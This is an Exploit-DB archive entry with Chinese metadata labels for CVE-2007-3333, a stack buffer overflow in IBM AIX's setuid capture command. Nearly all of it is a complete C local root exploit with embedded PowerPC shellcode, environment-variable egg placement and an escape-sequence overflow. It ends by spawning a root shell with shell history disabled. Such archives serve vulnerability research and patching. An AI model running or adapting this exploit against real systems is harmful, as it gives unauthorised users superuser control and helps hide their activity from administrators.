标题: IBM AIX 5.2/5.3 - Capture Command Local Stack Buffer Overflow EDB-ID: 30399 CVE: 2007-3333 类型: LOCAL 平台: AIX 发布日期: 2007-07-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/25075/info

IBM AIX is prone to a local, stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input to a program that is installed setuid-superuser.

Local attackers can exploit this issue to execute arbitrary code with superuser privileges. Failed attacks will likely cause denial-of-service conditions. 

/* 07/2007: public release
 *
 * qaaz@aix:~$ ./aix-capture
 * --------------------------------
 *  AIX capture Local Root Exploit
 *  By qaaz
 * --------------------------------
 * bash: no job control in this shell
 * bash-3.00#
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/select.h>

#define TARGET  "/usr/bin/capture"
#define VALCNT  40

#define MAX(x,y) ((x) > (y) ? (x) : (y))
#define ALIGN(x, y) (((x) + (y) - 1) / (y) * (y))

unsigned char qaazcode[] =
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7e\xa8\x02\xa6\x3a\xb5\x01\x01"
"\x88\x55\xff\x5b\x3a\xd5\xff\x1b"
"\x7e\xc8\x03\xa6\x4c\xc6\x33\x42"
"\x44\xff\xff\x02\x38\x75\xff\x5f"
"\x38\x63\x01\x01\x88\x95\xff\x5d"
"\x38\x63\x01\x02\x38\x63\xfe\xff"
"\x88\xa3\xfe\xff\x7c\x04\x28\x40"
"\x40\x82\xff\xf0\x7c\xa5\x2a\x78"
"\x98\xa3\xfe\xff\x88\x55\xff\x5c"
"\x38\x75\xff\x5f\x38\x81\xff\xf8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x4b\xff\xff\xbd\xb8\x05\x7c\xff";

void shell(int p1[2], int p2[2])
{
 ssize_t n;
 fd_set rset;
 char buf[4096];

 for (;;) {
  FD_ZERO(&rset);
  FD_SET(p1[0], &rset);
  FD_SET(p2[0], &rset);

  n = select(MAX(p1[0], p2[0]) + 1,
             &rset, NULL, NULL, NULL);
  if (n < 0) {
   perror("[-] select");
   break;
  }

  if (FD_ISSET(p1[0], &rset)) {
   n = read(p1[0], buf, sizeof(buf));
   if (n <= 0) break;
   write(p1[1], buf, n);
  }
  if (FD_ISSET(p2[0], &rset)) {
   n = read(p2[0], buf, sizeof(buf));
   if (n <= 0) break;
   write(p2[1], buf, n);
  }
 }
}

/* just because you don't understand it doesn't mean it has to be wrong */
ulong get_addr(char *argv[], char *envp[], char *args[], char *envs[])
{
 ulong top, len, off;
 int i;

 len = 0;
 for (i = 0; argv[i]; i++)
  len += strlen(argv[i]) + 1;
 for (i = 0; envp[i]; i++)
  len += strlen(envp[i]) + 1;
 top = (ulong) argv[0] + ALIGN(len, 8);

 len = off = 0;
 for (i = 0; args[i]; i++)
  len += strlen(args[i]) + 1;
 for (i = 0; envs[i]; i++) {
  if (!strncmp(envs[i], "EGG=", 4))
   off = len + 4;
  len += strlen(envs[i]) + 1;
 }
 while (off & 3)
  strcat(envs[0], "X"), off++, len++; 

 return top - ALIGN(len, 4) + off;
}

int main(int argc, char *argv[], char *envp[])
{
 char pad[16] = "PAD=X", egg[512], bsh[128], buf[1024];
 char *args[] = { TARGET, "/dev/null", NULL };
 char *envs[] = { pad, bsh, egg, NULL };
 int ptm, pts, pi[2];
 pid_t child;

 sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid());
 sprintf(bsh, "SHELL=/proc/%d/object/a.out", getpid());

 if (!envp[0]) {
  dup2(3, 0);

  setuid(geteuid());
  putenv("HISTFILE=/dev/null");
  execl("/bin/bash", "bash", "-i", NULL);
  execl("/bin/sh", "sh", "-i", NULL);
  perror("[-] execl");
  exit(1);
 } else if (argc && !strcmp(argv[0], "bsh")) {
  char i, ch;
  ulong addr = get_addr(argv, envp, args, envs);

  printf("\x1b[");
  for (i = 0; i < VALCNT; i++)
   printf("%lu;", addr);
  printf("0A\n");
  fflush(stdout);

  while (read(0, &ch, 1) == 1)
   write(1, &ch, 1);
  exit(0);
 }

 printf("--------------------------------\n");
 printf(" AIX capture Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("--------------------------------\n");

 if (pipe(pi) < 0) {
  perror("[-] pipe");
  exit(1);
 }

 if ((ptm = open("/dev/ptc", O_RDWR)) < 0 ||
     (pts = open(ttyname(ptm), O_RDWR)) < 0) {
  perror("[-] pty");
  exit(1);
 }

 if ((child = fork()) < 0) {
  perror("[-] fork");
  exit(1);
 }

 if (child == 0) {
  dup2(pts, 0);
  dup2(pts, 1);
  dup2(pts, 2);

  dup2(pi[0], 3);

  execve(TARGET, args, envs);
  perror("[-] execve");
  exit(1);
 }

 close(pi[0]);
 close(pts);

 sleep(1);
 read(ptm, buf, sizeof(buf));

 write(ptm, " ", 1);
 shell((int[2]) { 0, pi[1] }, (int[2]) { ptm, 1 });
 kill(child, SIGTERM);
 waitpid(child, NULL, 0);
 return 0;
} URL: https://www.exploit-db.com/exploits/30399